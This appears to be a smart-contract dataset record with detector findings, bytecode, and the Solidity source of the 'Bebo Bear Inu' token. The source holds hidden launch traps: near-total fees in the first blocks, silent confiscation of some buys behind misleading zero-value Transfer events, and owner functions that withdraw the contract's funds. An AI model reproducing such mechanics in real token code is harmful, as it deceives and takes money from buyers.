ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d89190613577565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b6129318161291e565b82525050565b600060208201905061294c6000830184612928565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561298c578082015181840152602081019050612971565b8381111561299b576000848401525b50505050565b6000601f19601f8301169050919050565b60006129bd82612952565b6129c7818561295d565b93506129d781856020860161296e565b6129e0816129a1565b840191505092915050565b60006020820190508181036000830152612a0581846129b2565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3d82612a12565b9050919050565b612a4d81612a32565b8114612a5857600080fd5b50565b600081359050612a6a81612a44565b92915050565b600060208284031215612a8657612a85612a0d565b5b6000612a9484828501612a5b565b91505092915050565b612aa68161291e565b8114612ab157600080fd5b50565b600081359050612ac381612a9d565b92915050565b60008060408385031215612ae057612adf612a0d565b5b6000612aee85828601612a5b565b9250506020612aff85828601612ab4565b9150509250929050565b60008115159050919050565b612b1e81612b09565b82525050565b6000602082019050612b396000830184612b15565b92915050565b60008060408385031215612b5657612b55612a0d565b5b6000612b6485828601612ab4565b9250506020612b7585828601612ab4565b9150509250929050565b600080600060608486031215612b9857612b97612a0d565b5b6000612ba686828701612a5b565b9350506020612bb786828701612a5b565b9250506040612bc886828701612ab4565b9150509250925092565b600060ff82169050919050565b612be881612bd2565b82525050565b6000602082019050612c036000830184612bdf565b92915050565b6000612c1482612a12565b9050919050565b612c2481612c09565b82525050565b6000602082019050612c3f6000830184612c1b565b92915050565b600060208284031215612c5b57612c5a612a0d565b5b6000612c6984828501612ab4565b91505092915050565b612c7b81612a32565b82525050565b6000602082019050612c966000830184612c72565b92915050565b612ca581612b09565b8114612cb057600080fd5b50565b600081359050612cc281612c9c565b92915050565b600060208284031215612cde57612cdd612a0d565b5b6000612cec84828501612cb3565b91505092915050565b60008060408385031215612d0c57612d0b612a0d565b5b6000612d1a85828601612a5b565b9250506020612d2b85828601612a5b565b9150509250929050565b6000819050919050565b6000612d5a612d55612d5084612a12565b612d35565b612a12565b9050919050565b6000612d6c82612d3f565b9050919050565b6000612d7e82612d61565b9050919050565b612d8e81612d73565b82525050565b6000602082019050612da96000830184612d85565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612de560208361295d565b9150612df082612daf565b602082019050919050565b60006020820190508181036000830152612e1481612dd8565b9050919050565b6000604082019050612e306000830185612928565b612e3d6020830184612928565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b6000612e7a600a8361295d565b9150612e8582612e44565b602082019050919050565b60006020820190508181036000830152612ea981612e6d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612eea8261291e565b9150612ef58361291e565b925082821015612f0857612f07612eb0565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b6000612f4960128361295d565b9150612f5482612f13565b602082019050919050565b60006020820190508181036000830152612f7881612f3c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612fb560178361295d565b9150612fc082612f7f565b602082019050919050565b60006020820190508181036000830152612fe481612fa8565b9050919050565b600081519050612ffa81612a44565b92915050565b60006020828403121561301657613015612a0d565b5b600061302484828501612feb565b91505092915050565b60006040820190506130426000830185612c72565b61304f6020830184612c72565b9392505050565b6000819050919050565b600061307b61307661307184613056565b612d35565b61291e565b9050919050565b61308b81613060565b82525050565b600060c0820190506130a66000830189612c72565b6130b36020830188612928565b6130c06040830187613082565b6130cd6060830186613082565b6130da6080830185612c72565b6130e760a0830184612928565b979650505050505050565b60008151905061310181612a9d565b92915050565b6000806000606084860312156131205761311f612a0d565b5b600061312e868287016130f2565b935050602061313f868287016130f2565b9250506040613150868287016130f2565b9150509250925092565b600060408201905061316f6000830185612c72565b61317c6020830184612928565b9392505050565b60008151905061319281612c9c565b92915050565b6000602082840312156131ae576131ad612a0d565b5b60006131bc84828501613183565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061322160248361295d565b915061322c826131c5565b604082019050919050565b6000602082019050818103600083015261325081613214565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132b360228361295d565b91506132be82613257565b604082019050919050565b600060208201905081810360008301526132e2816132a6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061334560258361295d565b9150613350826132e9565b604082019050919050565b6000602082019050818103600083015261337481613338565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133d760238361295d565b91506133e28261337b565b604082019050919050565b60006020820190508181036000830152613406816133ca565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061346960298361295d565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006134d560188361295d565b91506134e08261349f565b602082019050919050565b60006020820190508181036000830152613504816134c8565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b6000613541600b8361295d565b915061354c8261350b565b602082019050919050565b6000602082019050818103600083015261357081613534565b9050919050565b60006135828261291e565b915061358d8361291e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135c2576135c1612eb0565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b600061362960278361295d565b9150613634826135cd565b604082019050919050565b600060208201905081810360008301526136588161361c565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613695601b8361295d565b91506136a08261365f565b602082019050919050565b600060208201905081810360008301526136c481613688565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b600061372760228361295d565b9150613732826136cb565b604082019050919050565b600060208201905081810360008301526137568161371a565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b60006137b960238361295d565b91506137c48261375d565b604082019050919050565b600060208201905081810360008301526137e8816137ac565b9050919050565b60006137fa8261291e565b91506138058361291e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561383e5761383d612eb0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138838261291e565b915061388e8361291e565b92508261389e5761389d613849565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61393c81612a32565b82525050565b600061394e8383613933565b60208301905092915050565b6000602082019050919050565b600061397282613907565b61397c8185613912565b935061398783613923565b8060005b838110156139b857815161399f8882613942565b97506139aa8361395a565b92505060018101905061398b565b5085935050505092915050565b600060a0820190506139da6000830188612928565b6139e76020830187613082565b81810360408301526139f98186613967565b9050613a086060830185612c72565b613a156080830184612928565b969550505050505056fea2646970667358221220910d94eb9df6a67001fe96764d7310be36e3f521638ed9e04a8b0632532612d964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,260
0x275cde0072906603874a7b0969f663f3741ae886
/** */ pragma solidity ^0.7.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * BEP20 standard interface. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } /** * Function modifier to require caller to be contract owner */ modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } /** * Function modifier to require caller to be authorized */ modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } /** * Authorize address. Owner only */ function authorize(address adr) public onlyOwner { authorizations[adr] = true; } /** * Remove address' authorization. Owner only */ function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Return address' authorization status */ function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } /** * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BeboBearInu is IERC20, Auth { using SafeMath for uint256; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; string constant _name = 'Bebo Bear Inu'; string constant _symbol = 'BEBO'; uint8 constant _decimals = 9; uint256 _totalSupply = 1000000000000000 * (10 ** _decimals); uint256 _maxTxAmount = _totalSupply / 50; uint256 _maxWalletAmount = _totalSupply / 20; uint256 initialswapback = 0; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping(address => uint256) _holderLastTransferTimestamp; uint256 liquidityFee = 30; uint256 marketingFee = 30; uint256 totalFee = 60; uint256 feeDenominator = 1000; address public autoLiquidityReceiver; address public marketingFeeReceiver; IDEXRouter public router; address public pair; uint256 public launchedAt; uint256 public launchedTime; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 10000; // 0.01% bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = uint256(-1); isFeeExempt[owner] = true; isTxLimitExempt[owner] = true; isTxLimitExempt[address(this)] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = address(0xE49C21007445d10Cf3bc1A2EA21CD67922f0dEb5); _balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != uint256(-1)){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _simpleTransfer(sender, recipient, amount);} if(shouldSwapBack()){ if(block.timestamp >= launchedTime + 1 minutes && initialswapback == 0){ swapBackInitial();} else{swapBack();} } if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(launchMode() && recipient != pair){require (_balances[recipient] + amount <= _maxWalletAmount);} if(launchMode() && recipient != pair && block.timestamp < _holderLastTransferTimestamp[recipient] + 20){ _holderLastTransferTimestamp[recipient] = block.timestamp; _balances[address(this)] = _balances[address(this)].add(amount); emit Transfer(sender, recipient, 0); emit Transfer(sender, address(this), amount); return true;} _holderLastTransferTimestamp[recipient] = block.timestamp; uint256 amountReceived; if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;} _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _simpleTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function getTotalFee() public view returns (uint256) { if(launchedAt + 10 > block.number){ return feeDenominator.sub(1); } return totalFee; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount; if(launchMode() && amount > _maxTxAmount){ feeAmount = amount.sub(_maxTxAmount); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount);} feeAmount = amount.mul(getTotalFee()).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp+360 ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); payable(marketingFeeReceiver).transfer(amountETHMarketing); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp+360 ); initialswapback = initialswapback +1; emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function swapBackInitial() internal swapping { uint256 amountToLiquify = balanceOf(address(this)).mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp+360 ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); payable(marketingFeeReceiver).transfer(amountETHMarketing); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp+360 ); initialswapback = initialswapback +1; emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal{ require(!launched()); launchedAt = block.number; launchedTime = block.timestamp; } function justinCaseofClog()external authorized{ swapBackInitial(); } function manuallySwap()external authorized{ swapBack(); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold =_totalSupply.div(_amount); } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _liquidityFee.add(_marketingFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/5); } function launchModeStatus() external view returns(bool) { return launchMode(); } function launchMode() internal view returns(bool) { return launchedAt !=0 && launchedAt + 10 < block.number && launchedTime + 10 minutes >= block.timestamp ; } function recoverEth() external onlyOwner() { payable(msg.sender).transfer(address(this).balance); } function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){ _sent = IERC20(_token).transfer(msg.sender, amount); } event AutoLiquify(uint256 amountETH, uint256 amountToken); }
0x6080604052600436106101fd5760003560e01c8063a4b45c001161010d578063cec10c11116100a0578063e96fada21161006f578063e96fada214610ae1578063f0b37c0414610b22578063f2fde38b14610b73578063f887ea4014610bc4578063fe9fbb8014610c0557610204565b8063cec10c11146109af578063d43f5d6c146109fe578063dd62ed3e14610a15578063df20fd4914610a9a57610204565b8063b6a5d7de116100dc578063b6a5d7de146108db578063bcdb446b1461092c578063bf56b37114610943578063ca33e64c1461096e57610204565b8063a4b45c0014610747578063a8aa1b31146107b8578063a9059cbb146107f9578063b29a81401461086a57610204565b8063571ac8b0116101905780636ddd17131161015f5780636ddd1713146105b957806370a08231146105e65780637ae316d01461064b578063893d20e81461067657806395d89b41146106b757610204565b8063571ac8b0146104b35780635804f1e41461051a5780635fe7208c14610545578063658d4b7f1461055c57610204565b806323b872dd116101cc57806323b872dd146103605780632f54bf6e146103f1578063313ce567146104585780634d54288b1461048657610204565b80630445b6671461020957806306fdde0314610234578063095ea7b3146102c457806318160ddd1461033557610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610c6c565b6040518082815260200191505060405180910390f35b34801561024057600080fd5b50610249610c72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028957808201518184015260208101905061026e565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d057600080fd5b5061031d600480360360408110156102e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caf565b60405180821515815260200191505060405180910390f35b34801561034157600080fd5b5061034a610da1565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103d96004803603606081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b60405180821515815260200191505060405180910390f35b3480156103fd57600080fd5b506104406004803603602081101561041457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fab565b60405180821515815260200191505060405180910390f35b34801561046457600080fd5b5061046d611004565b604051808260ff16815260200191505060405180910390f35b34801561049257600080fd5b5061049b61100d565b60405180821515815260200191505060405180910390f35b3480156104bf57600080fd5b50610502600480360360208110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101c565b60405180821515815260200191505060405180910390f35b34801561052657600080fd5b5061052f61104f565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a611055565b005b34801561056857600080fd5b506105b76004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110da565b005b3480156105c557600080fd5b506105ce6111b0565b60405180821515815260200191505060405180910390f35b3480156105f257600080fd5b506106356004803603602081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c3565b6040518082815260200191505060405180910390f35b34801561065757600080fd5b5061066061120c565b6040518082815260200191505060405180910390f35b34801561068257600080fd5b5061068b611241565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c357600080fd5b506106cc61126a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070c5780820151818401526020810190506106f1565b50505050905090810190601f1680156107395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561075357600080fd5b506107b66004803603604081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a7565b005b3480156107c457600080fd5b506107cd6113a8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080557600080fd5b506108526004803603604081101561081c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ce565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b506108c36004803603604081101561088d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e3565b60405180821515815260200191505060405180910390f35b3480156108e757600080fd5b5061092a600480360360208110156108fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611514565b005b34801561093857600080fd5b506109416115e9565b005b34801561094f57600080fd5b506109586116ad565b6040518082815260200191505060405180910390f35b34801561097a57600080fd5b506109836116b3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109bb57600080fd5b506109fc600480360360608110156109d257600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506116d9565b005b348015610a0a57600080fd5b50610a136117a1565b005b348015610a2157600080fd5b50610a8460048036036040811015610a3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611826565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610adf60048036036040811015610abd57600080fd5b81019080803515159060200190929190803590602001909291905050506118ad565b005b348015610aed57600080fd5b50610af6611961565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2e57600080fd5b50610b7160048036036020811015610b4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b005b348015610b7f57600080fd5b50610bc260048036036020811015610b9657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5d565b005b348015610bd057600080fd5b50610bd9611bbf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1157600080fd5b50610c5460048036036020811015610c2857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be5565b60405180821515815260200191505060405180910390f35b60175481565b60606040518060400160405280600d81526020017f4265626f204265617220496e7500000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f9757610f16826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fa2848484611cfb565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60006110176123cc565b905090565b6000611048827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610caf565b9050919050565b60155481565b61105e33611be5565b6110d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110d86123fb565b565b6110e333610fab565b611155576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600043600a601454011115611238576112316001600f5461295190919063ffffffff16565b905061123e565b600e5490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4245424f00000000000000000000000000000000000000000000000000000000815250905090565b6112b033610fab565b611322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113db338484611cfb565b905092915050565b60006113ee33611be5565b611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b505050506040513d60208110156114fb57600080fd5b8101908080519060200190929190505050905092915050565b61151d33610fab565b61158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6115f233610fab565b611664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156116aa573d6000803e3d6000fd5b50565b60145481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116e233611be5565b611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081